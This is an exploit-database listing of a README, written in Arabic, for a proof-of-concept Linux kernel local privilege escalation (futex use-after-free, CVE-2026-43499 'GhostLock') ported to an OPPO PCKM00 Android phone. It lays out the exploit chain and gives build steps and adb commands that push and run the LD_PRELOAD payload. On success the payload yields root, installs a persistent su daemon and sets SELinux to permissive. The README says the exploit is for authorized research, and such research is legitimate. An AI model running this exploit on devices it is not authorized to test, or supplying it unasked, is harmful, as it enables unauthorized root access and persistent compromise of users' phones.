Sploitus

Exploit for GhostLock-OPPO-PCKM00

kitploit · 2026-08-29

Exploit Code

MARKDOWN203 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YIJIACLOUD-GHOSTLOCK-OPPO-PCKM00
# GhostLock — OPPO PCKM00 (4.14.180) PoC

**CVE-2026-43499 (GhostLock)** — استغلال تصعيد صلاحيات محلي (LPE) من نوع use-after-free في آلية `futex` الخاصة بأولوية الميراث في نواة لينكس، تم نقله إلى جهاز **OPPO PCKM00 (OP4A57, SM6150, Android 11, kernel 4.14.180-perf+)**.

> **إخلاء مسؤولية / 免责声明** هذا المشروع مخصص **لأغراض البحث الأمني المصرح به والتعليم فقط**. لا تستخدمه على أي جهاز لا تملكه أو غير مصرح لك باختباره صراحةً. قد يؤدي تشغيل الاستغلال إلى انهيار النواة. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر.
> 
> 本项目仅用于**授权的安全研究与教育目的** 。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。

* * *

## 1\. الثغرة

CVE-2026-43499 (GhostLock) هي ثغرة use-after-free في كود أولوية الميراث الخاص بـ futex في نواة لينكس. الخلل يكمن في إساءة استخدام `remove_waiter()` في مسار التراجع عن القفل الوكيل في `rt_mutex_start_proxy_lock()`. يتم إعادة تفسير `rt_mutex_waiter` المحرر (المخصص على مكدس النواة) كـ `fd_set` يتحكم فيه المهاجم ويتم نسخه بواسطة `pselect()`، مما ينتج عنه بدائية كتابة عشوائية.

**النطاق المتأثر:** لينكس 4.x–6.x (أُدخلت عام 2011). سلسلة 4.14 متأثرة بالكامل. راجع `report.md` للتحليل الكامل وإزاحات الرموز الموثقة.

### سلسلة الاستغلال

root@kitploit:~
    
    
    futex requeue-pi UAF
       └─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
             └─> arbitrary write (rt_mutex tree ops / sched_setattr)
                   └─> overwrite ashmem_fops -> configfs bin read/write
                         └─> pipe_buffer page rewrite (physical RW primitive)
                               └─> patch current task cred -> root
    

يعمل الـ PoC بالكامل في مساحة المستخدم عبر `LD_PRELOAD` — لا حاجة لإعادة تشغيل الجهاز (إلا إذا انهارت النواة).

* * *

## 2\. الهدف

> النقل إلى أجهزة 4.14 أخرى: انسخ `exploit/targets/oppo-pckm00/target.h` وأعد توليد إزاحات الرموز من صورة النواة الخاصة بك (راجع `analysis/`).

* * *

## 3\. هيكل المستودع

root@kitploit:~
    
    
    .
    ├── report.md                    # تحليل الثغرة الكامل والإزاحات الموثقة
    ├── exploit/
    │   ├── Makefile                 # بناء preload.so (Windows NDK / WSL)
    │   ├── src/
    │   │   ├── preload.c            # نقطة دخول LD_PRELOAD + تسجيل قرص إجباري + su
    │   │   ├── main.c               # التنسيق (خيوط waiter/owner/consumer)
    │   │   ├── slide.c              # تسريب KASLR (boot_id / nfulnl loggers)
    │   │   ├── fops.c               # استبدال ashmem_fops + بدائية configfs
    │   │   ├── pipe.c               # بدائية pipe_buffer physrw
    │   │   ├── root.c               # اجتياز المهام + تصحيح cred + seccomp/selinux
    │   │   ├── util.c               # kernelsnitch, إعداد صفحة skb, قراءة/كتابة النواة
    │   │   ├── su_daemon.c          # خادم su مدمج (بديل جاهز)
    │   │   ├── su_blob.S            # .incbin لـ su_daemon
    │   │   └── wallpaper_blob.S     # .incbin لحمولة الخلفية
    │   ├── targets/oppo-pckm00/target.h   # إزاحات رموز/هياكل 4.14.180
    │   └── assets/wallpaper.webp    # حمولة الخلفية المدمجة
    ├── analysis/                    # نصوص استخراج صورة النواة / kallsyms
    └── LICENSE                      # Apache-2.0 (نفس ترخيص GhostLock الأصلي)
    

* * *

## 4\. البناء

يتطلب Android NDK r29 (`aarch64-linux-android30-clang`).

### Windows NDK

root@kitploit:~
    
    
    set NDK=C:\path\to\android-ndk-r29
    make NDK=%NDK%
    

### WSL (موصى به)

root@kitploit:~
    
    
    # ضع NDK في /opt/ndk/android-ndk-r29 (سلسلة أدوات linux-x86_64)
    cd exploit
    make wsl
    # أو مباشرة:
    bash ../analysis/build_preload.sh
    

الناتج: `exploit/preload.so` (مكتبة ELF مشتركة aarch64 64-بت).

يقوم البناء أيضًا بترجمة `su_daemon.c` إلى ثنائي PIE ودمجه (بالإضافة إلى الخلفية) في ملف `.so` عبر كتل `.S`.

* * *

## 5\. الاستخدام (ADB)

### 5.1 دفع الحمولة

root@kitploit:~
    
    
    # ثنائي فقط (يعمل من أصل إصدار أو بناء محلي)
    adb push preload.so /data/local/tmp/preload.so
    
    # أو مع هيكل المستودع
    adb push exploit/preload.so /data/local/tmp/preload.so
    adb shell chmod 755 /data/local/tmp/preload.so
    

### 5.2 التشغيل

يتم تحميل ملف `.so` في عملية `sh` عبر `LD_PRELOAD`؛ يقوم المُنشئ بتشغيل سلسلة الاستغلال بالكامل والإبلاغ عن النتيجة:

root@kitploit:~
    
    
    adb shell LD_PRELOAD=/data/local/tmp/preload.so id
    

عند النجاح، يُبلغ الصدفة:

root@kitploit:~
    
    
    uid=0(root) gid=0(root) ...
    [+] ROOT OK pid=<pid> uid=0
    

العملية الحالية (وعملياتها الفرعية) أصبحت الآن بصلاحيات root. يتم تثبيت خادم `su` في `/apex/com.android.virt/bin/su` (مع تراجع إلى `/data/local/tmp/su`) ويتم تطبيق خلفية مدمجة كأثر استمرارية/تحقق.

### 5.3 التحقق

root@kitploit:~
    
    
    # من صدفة جديدة بعد التشغيل
    adb shell su -c 'id'
    
    # أو احصل على جلسة صدفة root (عميل su تفاعلي)
    adb shell /data/local/tmp/su
    
    # تحقق من تبديل SELinux إلى permissive (إذا تم الوصول إلى مسار selinux)
    adb shell getenforce
    

### 5.4 تسجيل قرص إجباري في الوقت الفعلي

تُكتب جميع تشخيصات `pr_*` أيضًا إلى **`/sdcard/Download/log_<timestamp>.txt`** (مع تراجع إلى `/data/local/tmp/log_<timestamp>.txt`)، مع `O_SYNC` \+ `fsync()` في كل سطر بحيث تنجو السجلات من انهيار النواة / إعادة التشغيل:

root@kitploit:~
    
    
    adb pull /sdcard/Download/log_*.txt
    # أو إذا لم يكن /sdcard مثبتًا مبكرًا
    adb pull /data/local/tmp/log_*.txt
    adb shell cat /sdcard/Download/log_*.txt
    

يُظهر السجل كل مرحلة (انزلاق KASLR، استبدال fops، pipe physrw، تصحيح cred) والسطر النهائي `uid_after` / `ROOT OK` — أرفقه عند الإبلاغ عن مشكلة.

### 5.5 التنظيف

root@kitploit:~
    
    
    adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
    adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
    adb reboot   # إذا تم تعديل حالة SELinux/cred أو الخلفية
    

> **ملاحظة:** قد يؤدي تشغيل الاستغلال إلى انهيار النواة. إذا انقطع اتصال `adb`، انتظر إعادة تشغيل الجهاز ثم اسحب `/sdcard/Download/log_*.txt` — تسجيل `O_SYNC`/`fsync` الإجباري هو بالضبط ما ينجو من الانهيار.

* * *

## 6\. ملاحظات وقيود

  * **KASLR** : يقوم الـ PoC بتسريب الانزلاق عبر مسار مسجل `boot_id`/nfulnl (`slide.c`) بالإضافة إلى تمرير تحقق ashmem_fops (`fops.c`).
  * **الاختلافات بين 4.14 و 6.x المعالجة** في هذا النقل: 
    * configfs يستخدم `.read`/`.write` القديمين (بدون `read_iter`/`write_iter`)،
    * `ashmem_fops` لا يحتوي على `show_fdinfo`،
    * `generic_file_splice_read` يحل محل `copy_splice_read`،
    * `selinux_enforcing` يقع داخل `struct selinux_state`،
    * تخطيطات  /  /  في 4.14.



* * *

## 7\. الاعتمادات

  * **NebuSec** — البحث الأصلي لـ GhostLock وإطار الاستغلال (`IonStack/CVE-2026-43499`)، Apache-2.0. https://github.com/NebuSec/CyberMeowfia
  * KernelSnitch (قناة جانبية لتجزئة futex) مدمج بموجب شروطه الأصلية.



## الترخيص

Apache-2.0 — راجع LICENSE.